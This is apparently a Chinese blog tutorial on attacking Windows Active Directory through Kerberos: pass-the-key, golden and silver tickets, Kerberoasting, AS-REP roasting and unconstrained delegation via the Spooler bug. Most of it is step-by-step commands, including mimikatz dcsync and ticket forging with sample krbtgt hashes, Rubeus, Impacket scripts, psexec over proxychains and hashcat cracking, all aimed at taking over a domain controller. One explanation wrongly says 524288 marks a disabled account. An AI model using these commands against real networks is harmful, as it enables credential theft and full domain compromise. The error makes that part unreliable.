HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System

pxl5mi51qrn11939.png

如果想要关闭Administrator远程访问，直接将FilterAdministratorToken启用即可，修改成1。

05fgm4rsz3s11942.png

修改后立即生效，administrator账户也无法远程访问。

v00tpds1stn11944.png

关闭UAC限制
修改组策略

选择 计算机配置->Windows设置->安全设置->本地策略->安全选项

发现当我们安装补丁后，下图选项默认开启。

huvpr5aieu511947.png

wmsxs1qmtsv11949.png

我们直接选择禁用该选项即可。

重启后发现admin账户可以传递HASH。

3vasxyyv20n11951.png

LocalAccountTokenFilterPolicy

https://learn.microsoft.com/en-US/troubleshoot/windows-server/windows-security/user-account-control-and-remote-restriction

在官方文档中提到可以通过修改注册表中LocalAccountTokenFilterPolicy选项的键值来进行更改禁用UAC。

b3noekjib1311953.png

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System

如果LocalAccountTokenFilterPolicy注册表项不存在可以直接新建一条，并将值设置为1，LocalAccountTokenFilterPolicy的值默认为0（开启远程限制），为1时将关闭远程限制

33ld3cgudys11957.png

两种方法总结：

组策略优先级>注册表

1.当组策略关闭UAC限制后，注册表LocalAccountTokenFilterPolicy设置0或1，都关闭UAC限制；

2.当组策略开启UAC限制后，注册表LocalAccountTokenFilterPolicy设置成0是开启UAC限制，设置成1是关闭UAC限制；

KB2871997与PTK攻击

具体的KB2871997补丁内容更新可以查看下面的链接了解。

https://www.freebuf.com/column/220740.html

这里我们主要回归到KB2871997补丁对我们使用密钥传递攻击带来的影响。

KB2871997补丁其中一项：支持“ProtectedUsers”组

“ProtectedUsers”组是WindowsServer 2012 R2域中的安全组，“ProtectedUsers”组的成员会被强制使用Kerberos身份验证，并且对Kerberos强制执行AES加密。

f1qecymhxfq11961.png

https://blog.gentilkiwi.com/securite/mimikatz/overpass-the-hash

ameo33z5upl11965.png

40mqqbb1emy11967.png

“受保护的用户”组支持（强制Kerberos身份验证以实施AES加密）

1.当“域功能级别”设置为Windows Server 2012 R2时，将创建“受保护的用户”组。

2.受保护的用户组中的帐户只能使用Kerberos协议进行身份验证，拒绝NTLM，摘要式身份验证和CredSSP。

3.Kerberos拒绝DES和RC4加密类型进行预身份验证-必须将域配置为支持AES或更高版本。

4.不能使用Kerberos约束或不受约束的委托来委托受保护用户的帐户。

5.受保护的用户可以使用“身份验证策略”很好地工作。

由上文中我们可以了解到，在更新补丁KB2871997后，支持AES加密的凭据进行传递，且走的协议为kerberos协议。

sekurlsa::ekeys

sekurlsa::pth /user:administrator /domain:vvvv1.com /aes256:23a6b51c13d6630cc8a3eb8f4e6966f15e51aeb8ceec190fb280607e413ebd9d

经过测试，windows10无法使用PTK密钥传递

uzmoxh0vtbl11975.png

m4e3brmhjg111981.png

另外，因为是走的kerberos协议，那么只能通过域名进行连接，无法使用ip进行连接。

evyc0ljzj5t11985.png

在windows中的socks代理的环境下，也无法使用PTK，因为proxifier代理软件无法远程解析DNS，就无法使用kerberos认证，就无法使用PTK传递。

写到这里，我们发现PTK密钥传递攻击实际上是比较鸡肋的一个功能，基于kerberos认证，但是如果获取到的是本地管理员的权限，但是导出本地的hash信息中不会存在AES加密的kerberos凭据，因为kerberos认证只在域内进行使用，本地不会使用kerberos认证，那么就不会存在aes加密的kerberos凭据。只能获取域内账户的凭据才能通过AES加密的凭据进行PTK。但是从上文可以知道，实际上域内账户并不会被该补丁限制，那就不需要使用AES传递，而是直接使用NTLM-HASH进行传递攻击即可。

虽然PTK方法用处比较小，但是存在必然有它的原因。当我们遇到NTLM认证被禁用的情况下，PTK攻击的重要性就出现了，可以直接使用AES加密的凭据进行传递攻击以获得权限。

黄金票据

krbtgt账户

krbtgt是一个特殊的账户，它是用于Kerberos身份验证服务的关键账户。该账户的权限是非常高的，它拥有颁发和验证客户端服务票据所需的密钥和证书。

使用krbtgt账户主要有两个方面的操作：

  1. 颁发服务票据：krbtgt账户可以使用其密钥和证书为其他服务账户颁发服务票据。服务票据用于客户端与服务端之间的互相认证和授权。
  2. 验证服务票据：krbtgt账户还负责验证客户端发来的服务票据的有效性和真实性。验证过程需要使用krbtgt账户的密钥和证书进行解密和比对。

kerberos认证流程

https://zhuanlan.zhihu.com/p/266491528

1dceshmmq5j11988.png

在日志中我们也可以看出kerberos认证流程

如果一个正确的域内用户进行kerberos认证，则会产生如下五条日志（3号日志为验证ST，也就是用户权限PAC）

t5q5njmp2ow11992.png

如果是域内无权限账户进行kerberos认证，则不会产生4号日志，因为权限不足导致无法分配权限。

如果不使用域内账户进行认证，则只会产生登录错误，审核失败的日志，不会使用kerberos认证。

黄金票据

因为黄金票据的原理是伪造tgt，所以只能使用kerberos认证，不能使用ntlm认证。

因此即使导入了票据，使用如下的指令也会提示没有权限。

dir \\10.10.10.10\c$

如果把ip修改成对应的机器名或域名即可成功。

VPN环境

前提需要获取到krbtgt账户的hash值，利用krbtgt账户的hash在kerberos认证过程中的第3、4步骤，通过伪造用户的TGT（包含用户相关的权限身份信息，使用krbtgt的ntlm-hash进行加密）来验证，由于服务器的不严谨，无论用户是否拥有访问服务的权限，只要TGT正确，都可以返回ST（服务票据）。

验证条件

1.拥有一个域的SID；

2.拥有krbtgt账户的hash值；

3.需要一个本地管理员用户，来执行mimikatz

privilege::debug

lsadump::dcsync /domain:ww1.com /user:krbtgt

lsadump::dcsync /domain:ww1.com /all /csv

krbtgt账户ntlm-hash：eb92dd77ca9cdadd073ae907a7c22d0d

获取你将要注入的一个普通用户的SID（去掉权限标识-500）

S-1-5-21-3315874494-179465980-3412869843-500

kerberos::golden /user:administrator /domain:vvvv1.com /sid:S-1-5-21-3315874494-179465980-3412869843 /krbtgt:eb92dd77ca9cdadd073ae907a7c22d0d /ticket:1.kirbi

tjz4p2dxvyy11997.png

还未注入黄金票据时，普通用户无法访问域控资源

zqckb55n4bh12002.png

生成黄金票据（注意要删除SID后面的标识符）/user:伪造的用户名

kerberos::golden /user:administrator /domain:ww1.com /sid:S-1-5-21-2672614020-1166804175-548711290 /krbtgt:f888308114c87fd64fef57d8907f3b46 /ticket:1.kirbi

清除原本的票据信息

kerberos::purge

加载票据

kerberos::ptt 1.kirbi

成功访问到域控资源

dwr4vsrfujj12003.png

使用dcsync获取到域内hash

lsadump::dcsync /domain:ww1.com /all /csv

y41j3ezz2bo12008.png

接下来验证域林中子域的黄金票据具有怎么样的权限

子域控的krbtgt hash值

5521f994722ff1807d88d17dd9d19535

子域的SID

S-1-5-21-3625630716-398430537-4180109759

u4hkar4z13d12016.png

制作黄金票据

kerberos::golden /user:administrator /domain:childv.vvvv1.com /sid:S-1-5-21-3625630716-398430537-4180109759 /krbtgt:5521f994722ff1807d88d17dd9d19535 /ticket:1.kirbi

使用子域krbtgt制作的黄金票据可以访问子域控的资源

eg3aqut0zu312020.png

无法访问主域控的资源，也无法访问主域的资源

4ex2qg00lxh12023.png

yguhfbzwqeq12025.png

也无法访问同级别子域的资源

0vreifac1xp12027.png

接下来使用主域的krbtgt生成黄金票据

主域的krbtgt

eb92dd77ca9cdadd073ae907a7c22d0d

主域的SID

S-1-5-21-3315874494-179465980-3412869843

xmwowrigtnj12030.png

kerberos::golden /user:administrator /domain:vvvv1.com /sid:S-1-5-21-3315874494-179465980-3412869843 /krbtgt:eb92dd77ca9cdadd073ae907a7c22d0d /ticket:1.kirbi

经过测试，发现和主域的administrator权限相同，可以访问主域和子域控的资源，但是无法访问子域成员机的资源。

接下来我们测试使用主域的krbtgt和子域的SID生成黄金票据

主域的krbtgt

eb92dd77ca9cdadd073ae907a7c22d0d

子域的SID

S-1-5-21-3625630716-398430537-4180109759

acpv0puf1ih12032.png

kerberos::golden /user:administrator /domain:vvvv1.com /sid:S-1-5-21-3625630716-398430537-4180109759 /krbtgt:eb92dd77ca9cdadd073ae907a7c22d0d /ticket:1.kirbi

kerberos::purge

kerberos::ptt 1.kirbi

发现拥有的是childv域的管理员权限，只能访问childv域内所以资源，无法访问主域和其他同级子域的资源。

lukwqo2kz5q12034.png

0zfter2pavq12039.png

kerberos::golden /user:administrator /domain:childv.vvvv1.com /sid:S-1-5-21-3625630716-398430537-4180109759 /krbtgt:eb92dd77ca9cdadd073ae907a7c22d0d /ticket:1.kirbi

这条指令的票据没有任何权限，可能是因为krbtgt需要与参数/domain匹配。

接下来我们测试使用子域的krbtgt和主域的SID生成黄金票据

子域的krbtgt

5521f994722ff1807d88d17dd9d19535

主域的SID

S-1-5-21-3315874494-179465980-3412869843

hnsvlc3x4ql12044.png

kerberos::golden /user:administrator /domain:childv.vvvv1.com /sid:S-1-5-21-3315874494-179465980-3412869843 /krbtgt:5521f994722ff1807d88d17dd9d19535 /ticket:1.kirbi

发现获取到的是主域administrator的权限，可以访问主域、子域控的资源

kerberos::golden /user:administrator /domain:vvvv1.com /sid:S-1-5-21-3315874494-179465980-3412869843 /krbtgt:5521f994722ff1807d88d17dd9d19535 /ticket:1.kirbi

这条指令的票据没有任何权限，可能是因为krbtgt需要与参数/domain匹配。

使用ticketer.py实现

https://blog.csdn.net/qq_41874930/article/details/108266378

https://xz.aliyun.com/t/11877

https://paper.seebug.org/321/

首先使用工具ticketer.py生成票据

python ticketer.py -nthash eb92dd77ca9cdadd073ae907a7c22d0d -domain-sid S-1-5-21-3315874494-179465980-3412869843 -domain vvvv1.com administrator

lzabwt2mwag12050.png

使用 impacket 的脚本使用 ccache 文件进行身份验证，而不是提供明文密码或NT哈希，我们需要将 KRB5CCNAME 变量设置为 ccache 文件的绝对路径

export KRB5CCNAME=/path/to/ccache/file

export KRB5CCNAME=/tmp/administrator.ccache

echo $KRB5CCNAME

mruvuxu1v2u12054.png

在配置好socks代理和proxychains远程解析dns之后，即可使用该票据进行高权限操作。

proxychains3 python psexec.py administrator@ad-2016.vvvv1.com -k -no-pass -codec gbk

//-codec gbk 防止回弹的cmd乱码的情况出现

  1. 在目标主机上运行 chcp.com 命令。这个命令用于获取当前的字符编码代码页。
  2. 记下 chcp.com 命令返回的字符编码代码页。
  3. 使用 Python 的 codecs 库中的标准编码列表（https://docs.python.org/3/library/codecs.html#standard-encodings）找到对应的编码名称。
  4. 在运行 smbexec.py 脚本时，添加 -codec 参数，并指定与目标主机字符编码一致的编码名称。例如，如果字符编码代码页为 936，则选择 GBK 编码进行解码。（-codec gbk）

dsjiuwgclgg12057.png

socks隧道环境

在socks环境中，想要解析域名对应的ip，使用Proxifier工具无法代理远程dns，因此只能通过本地进行修改host文件，本地修改host不能解决远程dns解析的问题，因为修改本地host相当于是在本地将域名和ip进行替换，远程还是相当于通过ip操作。

目前来说，windows环境下socks代理的情况下无法使用黄金票据，因为windows代理软件Proxifier无法解决远程dns解析的问题。如果是在域外的一台与域内同网段的机器操作，自己配置了dns解析，就可以使用黄金票据了。（与kerberos协议无关，ntlm协议和kerberos协议是走tcp的，只要网络是通的，那就可以使用ntlm和kerberos认证）

4rjsq5w5tmu12062.png

但是在linux环境下，linux代理软件proxychains可以远程解析dns，因此可以使用黄金票据。

使用ticketer.py实现

https://paper.seebug.org/321/

首先使用工具ticketer.py生成票据

python ticketer.py -nthash eb92dd77ca9cdadd073ae907a7c22d0d -domain-sid S-1-5-21-3315874494-179465980-3412869843 -domain vvvv1.com administrator

gb1lfgtr1fa12067.png

使用 impacket 的脚本使用 ccache 文件进行身份验证，而不是提供明文密码或NT哈希，我们需要将 KRB5CCNAME 变量设置为 ccache 文件的绝对路径

export KRB5CCNAME=/path/to/ccache/file

export KRB5CCNAME=/tmp/administrator.ccache

echo $KRB5CCNAME

gomdudhopl412071.png

在配置好socks代理和proxychains远程解析dns之后，即可使用该票据进行高权限操作。

proxychains3 python psexec.py administrator@ad-2016.vvvv1.com -k -no-pass -codec gbk

//-codec gbk 防止回弹的cmd乱码的情况出现

  1. 在目标主机上运行 chcp.com 命令。这个命令用于获取当前的字符编码代码页。
  2. 记下 chcp.com 命令返回的字符编码代码页。
  3. 使用 Python 的 codecs 库中的标准编码列表（https://docs.python.org/3/library/codecs.html#standard-encodings）找到对应的编码名称。
  4. 在运行 smbexec.py 脚本时，添加 -codec 参数，并指定与目标主机字符编码一致的编码名称。例如，如果字符编码代码页为 936，则选择 GBK 编码进行解码。（-codec gbk）

tbwvzprb43k12074.png

Kerberosast攻击

https://www.cnblogs.com/Hekeats-L/p/16800918.html

https://zhuanlan.zhihu.com/p/475122515

在使用 Kerberos协议进行身份验证的网络中，必须在内置账号（Networkservice, Localsystem)或者用户账号下为服务器注册SPN。对于内置账号，SPN将自动进行注册。

但是，如果在域用户账号下运行服务，则必须为要使用的账号手动注册SPN。因为域环境中的每台服务器都需要在Kerberos身份验证服务中注册SPN,所以攻击者会直接向域控制器发送查询请求，获取其需要的服务的SPN,从而知晓其需要使用的服务资源在哪台机器上。

**Kerberos身份验证使用sPN将服务实例与服务登录账号关联起来。**如果域中的计算机上安了多个服务实例，那么每个实例都必须有自己的SPN。如果客户端可能使用多个名称进行身份验证，那么给定的服务实例可以有多个SPN。例如，SPN总是包含运行的服务实例的主机名称，所以，服务实例可以为其所在主机的每个名称或别名注册一个SPN。

根据Kerberos协议，当用户输人自己的账号和密码登录活动目录时，域控制器会对账号和密码进行验证。验证通过后，密钥分发中心(KDC)会将服务授权的票据(TGT)发送给用户（作为用户访问资源时的身份凭据）

下面通过一个例子来说明。当用户需要访问MSSQL服务时，系统会以当前用户身份向城制器查询SPN为“MSSQL”的记录。找到该SPN记录后，用户会再次与KDC通信，将KDC发放的TGT作为身份凭据发送给KDC，并将需要访问的SPN发送给KDC.KDC中的身份验证量务(AS)对TGT进行解密。

确认无误后，由TGS将一张允许访问该SPN所对应的服务的票据和该SPN所对应的地址发送给用户，用户使用该票据即可访问MSSQL服务。

ecadb2isjes12079.png

而Kerberosast攻击主要利用了TGS_REP阶段使用服务的NTLM Hash返回的加密数据，对于域内的任何主机，都可以通过查询SPN，向域内的所有服务请求ST，然后进行暴力破解。

具体的利用过程

1.拥有一个域内普通用户的hash（拥有正确的TGT）；

2.查询SPN，向域内的所有服务请求ST；

3.因为KDC不会验证权限，因此无论是否拥有访问该服务的权限，只要TGT正确，TGS服务器都会返回该服务对应的服务票据ST;

4.使用工具破解服务HASH；

使用工具Rubeus.exe

Rubeus.exe kerberoast

oidsrauouba12080.png

使用Impacket工具包的GetUserSPNs.py

python3 GetUserSPNs.py vvvv1.com/administrator:Password1 -dc-ip 10.10.24.188 -request

lihagah2waf12083.png

导出hash后使用hashcat进行解密即可

hashcat -m 13100 -a 0 hash.txt Pass.txt

破解服务帐户密码后，根据服务帐户是否为域管理员，有多种方法可以窃取数据。如果服务帐户是域管理员，你将拥有类似于银票的控制权，并且可以收集重要的数据，例如转储 NTDS.dit。如果服务帐户不是域管理员，你可以使用它来登录其他系统获得立足点或者进行权限升级，或者你可以使用破解的密码来攻击其他服务和域管理员帐户。

AS-REP Roasting攻击

https://www.cnblogs.com/Hekeats-L/p/16800918.html

https://zhuanlan.zhihu.com/p/474523090

https://3gstudent.github.io/%E5%9F%9F%E6%B8%97%E9%80%8F-AS-REPRoasting

ldmmcsd3qqe12084.png

预身份验证是Kerberos身份验证的第一步(AS_REQ & AS_REP)，它的主要作用是防止密码脱机爆破。默认情况下，预身份验证是开启的，KDC会记录密码错误次数，防止在线爆破。

正常情况下，在上图中，在kerberos认证第一步中，会向AS发送用户名和密码，并且向AS发送一个AS_REQ，这个AS_REQ里包含了使用Client的NTLM-Hash加密的时间戳以及Client-info、Server-info等数据，以及一些其他信息。然后AS会去检查客户端ID是否在数据库中，如果在，则使用其hash进行解密比对，比对成功，则发送两条信息给客户端，一条是使用客户端HASH加密的Session Key等信息，另一条就是使用krbtgt HASH加密的票据TGT。

而这个HASH比对验证的过程就是预身份验证，如果取消掉预身份验证，只要使用的是KDC数据库中存在的用户名，那么就会直接返回使用客户端HASH加密的Session Key等信息，可以进行离线爆破。

AS-REP Roasting是一种对用户账号进行离线爆破的攻击方式。但是该攻击方式利用比较局限，因为其需要用户账号设置 "Do not require Kerberos preauthentication(不需要kerberos预身份验证) " 。而该属性默认是没有勾选上的。

ve54redxpg212088.png

使用工具Rubeus.exe

Rubeus.exe asreproast

oeb5a1te52412090.png

https://hashcat.net/wiki/doku.php?id=example_hashes

查找hashcat密码，为了能让hashcat识别，我们要在$krb5asrep后面添加一个$23

hashcat -m 18200 hash.txt passwd.txt--force

还有工具ASREPROAST.ps1

Powershell -ExecutionPolicy Bypass

Import-Module .\ASREPRoast.ps1

Invoke-ASREPRoast

Get-ASREPHash -UserName man03 -Domain vvvv1.com

rm3czezab5k12093.png

还有工具Impacket中的GetNPUsers.py

python3 GetNPUsers.py -dc-ip 10.211.55.30 hacker.lab/ -usersfile users.txt -format john -outputfile hashes

尝试该工具会在日志中生成4678的TGT请求记录

55gd44keolc12094.png

在实战当中很少见会开启这个选项的，所以我们在内网渗透中一般是用来做权限维持。

需要枚举域内用户是否存在开启选项

1. 可以使用PowerView、kerbrute等工具枚举出存在开启选项”Do not require Kerberos preauthentication”的用户

2. 导出hash并破解

  • 需要先获得对指定用户的GenericWrite权限，利用思路如下：
  • 开启用户选项”Do not require Kerberos preauthentication”
  • 导出hash并破解
  • 关闭用户选项”Do not require Kerberos preauthentication”

**总结：****与Kerberoasting和黄金票据的区别**

· AS-REP Roasting：获取用户hash然后离线暴力破解

· Kerberoasting：获取应用服务hash然后暴力破解

· 黄金票据：通过假冒域中不存在的用户来访问应用服务

白银票据

https://www.freebuf.com/articles/others-articles/329728.html

如果说黄金票据是伪造的TGT,那么白银票据就是伪造的ST。

在Kerberos认证的第三部，Client带着ST和Authenticator3向Server上的某个服务进行请求，Server接收到Client的请求之后,通过自己的Master Key 解密ST,从而获得 Session Key。

通过 Session Key 解密 Authenticator3,进而验证对方的身份,验证成功就让 Client 访问server上的指定服务了。

所以我们只需要知道Server用户的Hash就可以伪造出一个ST,且不会经过KDC,但是伪造的门票只对部分服务起作用。

hgueah5sg5312098.png

在Windows下

arhikhqg3uy12099.png

vzrxxpyozpw12103.png

im4uatomofb12106.png

klist purge

privilege::debug

kerberos::golden /domain:vvvv1.com /sid:S-1-5-21-3315874494-179465980-3412869843 /target:ad-2016.vvvv1.com /service:cifs /rc4:0e88bb31c15409de8c9302a085a0b853 /user:admin /ptt

在socks代理的环境下，只需要修改host文件指定域名与ip的关系即可。

C:\Windows\System32\drivers\etc\host

inzyd5n30iv12111.png

odftdtoiegr12113.png

在linux下

使用pypykatz

https://github.com/skelsec/pypykatz/wiki/

pypykatz kerberos tgs -o 1.CCACHE "kerberos+NT+hash://VVVV1\AD-2016$:0e88bb31c15409de8c9302a085a0b853@10.10.10.10" "cifs@vvvv1.com"

白银票据的服务列表

Service TypeService Silver Tickets
WMIHOST <br>RPCSS
PowerShell RemotingHOST <br>HTTP
WinRMHOST <br>HTTP
Scheduled TasksHOST
Windows File Share (CIFS)CIFS
LDAP operations including<br><br>Mimikatz DCSyncLDAP
Windows Remote Server Administration ToolsRPCSS <br>LDAP <br>CIFS

kerberos::golden /domain:域名 /sid:域sid /target:目标服务器 /service:目标服务 /rc4:目标服务器的hash /user:xxx用户名 /ptt

白银票据利用

https://www.cnblogs.com/backlion/p/8119013.html

1.为CIFS 服务创建白银票据，以获得目标计算机上任何Windows共享的管理权限；

2.为HOST服务创建白银票据，以获得目标计算机修改和创建计划任务的权限；

3.为HTTP&WSMAN服务创建白银票据，以获得目标系统上的WinRM和或PowerShell Remoting的管理权限，

注入两张HTTP＆WSMAN白银票据后，我们可以使用PowerShell远程（或WinRM的）反弹出目标系统shell；

4.为LDAP服务创建白银票据，以获得目标系统（包括Active Directory）上LDAP服务的管理权限，通过DCSync来获取域hash；

5.为HOST和RPCSS服务创建白银票据，以获得在目标系统使用WMI远程执行命令的权限；

总结

1.白银票据是通过服务名和其hash来进行伪造服务票据ST，并且在利用白银票据的过程并不需要再经过KDC，因此，在socks代理环境下，只需要修改本地的host文件，使我们的命令走kerberos协议，即可使用白银票据；

2.黄金票据在socks代理环境下之所以需要远程解析DNS才可以使用的原因是，黄金票据相当于是伪造TGT票据，接下来还需要访问域内的DNS服务器，来返回KDC的地址等信息，因此必须要DNS远程解析才可以使用黄金票据；

3.当使用域名进行dir或者net use的时候，默认是使用kerberos认证，但是在特定情况下 Kerberos 认证失败（如未正确配置、目标服务器不支持或 Kerberos 凭据过期等），Windows 客户端会自动回退到使用 NTLM 认证，

也就是说如果是在域外的机器，在socks代理环境下，使用黄金票据无法指定KDC的地址，那么使用域名进行 dir 或 net use 操作时，默认的kerberos认证无法进行下去，就会使用ntlm认证。

NTLM认证审核失败如下：

ztscrxyj2ki12115.png

NTLM认证审核成功如下：

z35h35p4nf112119.png

4.这样就可以解释为什么在socks代理环境下使用白银票据是使用kerberos认证，而使用黄金票据认证失败却显示NTLM认证。

在使用白银票据时，修改host文件本地解析域名，且接下来的过程不涉及到KDC，因此可以直接使用kerberos认证通过，由于白银票据是伪造ST，且利用PAC未设置的漏洞，因此产生的日志只有上图的4号日志，因为绕过PAC检测，因此也不会有3号日志。

在使用黄金票据时，虽然也可以使用修改host文件本地解析域名，但是黄金票据是伪造TGT，后面的认证过程中还会涉及到客户端使用TGT向KDC请求ST的操作，而获取到KDC的地址则需要访问DNS服务器，通过DNS服务器指定KDC的地址，才能完成kerberos认证，但是在windows下无法远程解析，也就是无法在远程访问DNS服务器（Proxifier软件无法远程解析，linux中的proxychains可以），因此无法使用kerberos认证，所以Windows 客户端会自动回退到使用 NTLM 认证，此时如果我们输入错误的账户密码则会显示NTLM认证失败。

如果使用黄金票据认证成功，则会产生2、3、4号日志。

fa2mqvrhbb112122.png

4wzpspa4y3b12125.png

委派攻击

在现实情况下，往往多个服务不可能在一台机器中，那么如果用户在使用服务A时，需要服务B上属于自己的数据，最简单的方式就是A代替用户去请求B返回相应的信息，这个过程就是委派。

委派攻击分为非约束委派、约束委派、基于资源的约束委派三种。

https://shenaniganslabs.io/2019/01/28/Wagging-the-Dog.html

https://mp.weixin.qq.com/s?__biz=MzI2NDk0MTM5MQ==&mid=2247483689&idx=1&sn=1d83538cebbe2197c44b9e5cc9a7997f&chksm=eaa5bb09ddd2321fc6bc838bc5e996add511eb7875faec2a7fde133c13a5f0107e699d47840c&scene=126&sessionid=1584603915&key=cf63f0cc499df801cce7995aeda59fae16a26f18d48f6a138cf60f02d27a89b7cfe0eab764ee36c6208343e0c235450a6bd202bf7520f6368cf361466baf9785a1bcb8f1965ac9359581d1eee9c6c1b6&ascene=1&uin=NTgyNDEzOTc%3D&devicetype=Windows+10&version=62080079&lang=zh_CN&exportkey=A8KlWjR%2F8GBWKaJZTJ2e5Fg%3D&pass_ticket=B2fG6ICJb5vVp1dbPCh3AOMIfoBgH2TXNSxmnLYPig8%3D

非约束委派攻击

非约束委派的请求过程如下图

dx5sdk2fpi112129.png

这里我们可以了解，当service1的服务账户开启了非约束委派后，user访问service1时，service1会将user的TGT保存在内存中，然后service1就可以利用TGT以user的身份去访问域中的任何user可以访问的服务，总结起来就是当域内某台主机或用户访问了配置了非约束性委派的主机的服务的时候，就会将自己的TGT发送到该服务所在的计算机上，然后该计算机会保存其TGT至内存中。

也就是说，如果域内一台主机存在非约束委派，经过一系列的渗透操作，我们拿下了这一台存在非约束委派的主机，那么只需要让域管理员或者域控访问该主机的服务或者对该主机进行kerberos认证，就可以直接提取到域管理员的TGT，从而利用该TGT接管域控。

查找非约束委派主机

当服务账号或者主机被设置为非约束性委派时，其userAccountControl属性会包含TRUSTED_FOR_DELEGATION

lykhdzcml1212133.png

zo1ay2r4uyx12136.png

ADfind

（需要上传到域内一台成员主机中运行）

AdFind.exe -b "DC=vvvv1,DC=com" -f "(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))" cn distinguishedName

  1. **-b "DC=vvvv1,DC=com"：**指定了要搜索的 Active Directory 的基本搜索路径（基准 DN）。这里的示例是域名为 vvvv1.com 的域。"DC" 表示域组件。
  2. **-f "(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))"：**指定了过滤器，以筛选符合条件的对象。该示例的过滤器使用了两个条件：

**samAccountType=805306369：**筛选出 samAccountType 值为 805306369，表示计算机对象（Computer）。

  • 0x30000000 （805306368）：表示用户对象（User）
  • 0x30000001 （805306369）：表示计算机对象（Computer）
  • 0x30000002 （805306370）：表示组对象（Group）
  • 0x30000003 （805306371）：表示域本地组对象（Domain Local Group）
  • 0x30000004 （805306372）：表示全局组对象（Global Group）
  • 0x30000005 （805306373）：表示通用组对象（Universal Group）

**userAccountControl:1.2.840.113556.1.4.803:=524288：**通过位掩码筛选出 userAccountControl 属性中的特定标志位。这里的值 524288 表示 "ADS_UF_ACCOUNTDISABLE" 标志，用于检查用户帐户是否禁用。

  1. **cn distinguishedName：**指定要返回的属性列表。该示例中返回了 cn（常规名称）和 distinguishedName（唯一名称）属性。

f05pxdnf13k12142.png

LdapSearch

（linux下，在socks代理的环境下可以使用，需要指定账号密码）

0v3rwfo0jpd12146.png

ldapsearch -LLL -x -H ldap://10.10.10.10:389 -D "man03@vvvv1.com" -w "User\!@#45" -b dc=vvvv1,dc=com "(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))" cn distinguishedName

  • -LLL：以 LDIF 格式（LDAP Data Interchange Format）输出结果，去除注释和版本信息。
  • -x：使用简单身份验证（Simple Authentication），即使用明文密码进行身份验证。
  • -H ldap://192.168.124.142:389：指定要连接的 LDAP 服务器的主机和端口。在这个示例中，LDAP 服务器位于 IP 地址为 192.168.124.142 的主机上，使用默认端口 389 进行通信。
  • -D "administrator@test.com"：指定用于绑定（bind）到 LDAP 服务器的用户 DN（Distinguished Name）。在这个示例中，绑定的用户为 administrator@test.com。
  • -w "123"：指定与绑定用户关联的密码。
  • -b dc=test,dc=com：指定要搜索的基准 DN（Base DN），即搜索的起始点。在这个示例中，基准 DN 是 dc=test,dc=com，表示搜索域为 test.com。
  • "(&(samAccountType=805306369)(msds-allowedtodelegateto=*))"：指定了搜索过滤器，以筛选符合条件的对象。该示例中的过滤器使用了两个条件：
  • samAccountType=805306369：筛选出 samAccountType 值为 805306369，表示计算机对象（Computer）。
  • msds-allowedtodelegateto=*：筛选具有非空 msds-allowedtodelegateto 属性的对象。
  • cn distinguishedName msds-allowedtodelegateto：指定要返回的属性列表。该示例中返回了 cn（常规名称）、distinguishedName（唯一名称）和 msds-allowedtodelegateto 属性。

powerview

(需要上传powerview进入目标靶机)

Powershell -ExecutionPolicy Bypass

Import-Module .\PowerView.ps1

Get-NetComputer -Unconstrained -Domain vvvv1.com | select cn

q22zwtonhrs12150.png

非约束委派利用

利用环境

域控：AD-2016

普通成员主机：WSUS-PC（配置非约束委派）

域管账户：VVVV1\administrator

hjd4m4k11qy12155.png

ojt2wrhn5vl12160.png

由上面的原理我们可以知道，一台主机配置了非约束委派之后，域管理员或者域控访问该主机的服务或者对该主机进行kerberos认证，都会将对应的TGT保存到该主机的LSASS进程中，我们就可以通过工具进行导出TGT来注入内存，获取域内高权限，从而接管域控。

这里我们只需要使用域控或者域管账户对WSUS-PC机器进行kerberos认证即可。

  1. 未注入前权限

mz3xubg5x3j12163.png

  1. 使用域控或者域管账户对WSUS-PC机器进行kerberos认证

在域控上使用机器名进行net use建立共享进行kerberos认证。

net use \\WSUS-PC.vvvv1.com\ipc$

dir \\WSUS-PC.vvvv1.com\c$

经过此次连接后，Administrator的凭证已经留在机器WSUS-PC上了。

  1. 使用mimikatz导出TGT，并选择高权限TGT注入内存

privilege::debug #导出票据

sekurlsa::tickets /export

kerberos::ptt [0;7963f]-2-0-60a10000-Administrator@krbtgt-VVVV1.COM.kirbi #注入票据

vc15ufqnwnx12167.png

klist

ol25psbt5a512169.png

f1zgqqntf1u12172.png

发现权限提升，接管域控。

总结思路
  1. 通过IdapSearch或者AdFind或者PowerView查询域内配置了非约束性委派的机器。
  2. 通过渗透手段拿下目标机器权限。
  3. 诱导域控或域管对这台机器进行kerberos认证(使用钓鱼手段或者打印机漏洞等等)。
  4. 利用成功后，域控或域管的TGT被注入LSASS进程，使用mimikatz等工具导出本地TGT。
  5. 获取到高权限TGT，使用mimikatz等工具将高权限的TGT注入内存，接管域控。
利用Spooler服务漏洞进行攻击

https://blog.csdn.net/a3320315/article/details/106511098

https://blog.csdn.net/qq_44159028/article/details/124014421

在特定情况下，如果域控开启splooer服务，可以利用splooer服务让域控主动连接。Spooler服务默认开启，域用户可以利用windows打印系统远程协议(MS-RPRN)强制任何运行了spooler服务的域内计算机通过kerberos或ntlm对任何目标进行身份验证，这便是该攻击方式的原理。

1j2jgozsqh212173.png

  1. Rubeus对域控机器账户监听

以本地管理员权限运行Rubeus，对域控机器账户的登录进行监听。

Rubeus.exe monitor /interval:1 /filteruser:ad-2016$

# 我们可以用Rubeus来监听Event ID为4624事件，这样可以第一时间截取到域控的TGT

# /interval:1 设置监听间隔1秒

# /filteruser 监听对象为我们的域控，注意后面有个$，如果不设置监听对象就监听所有的TGT

# DC$为域控的主机名字加$

2i0iytk14c312178.png

  1. 利用spoolsample工具强制让域控机向本机验证身份

以当前域用户身份运行spoolsample。

注意：需要关闭防火墙，否则无法抓取到TGT。

spoolsample.exe ad-2016 wsus-pc

# 表示利用打印服务强制让域控机向wsus-PC主机验证身份，这样通过Rubeus就可以监听抓取到TGT了

5dpz4kmzzpn12181.png

xkcbmpzk2fq12185.png

  1. 格式处理，获得票据

因为获取到的TGT前后存在换行和空格，这里我们使用python简单进行处理。

data =''
with open("1.txt") as fp1:
    for line in fp1:
        data += line.strip().strip('\n')

with open("2.txt",mode='a') as fp2:
    fp2.write(data)

print(data)

使用powershell将其转为正常的票据

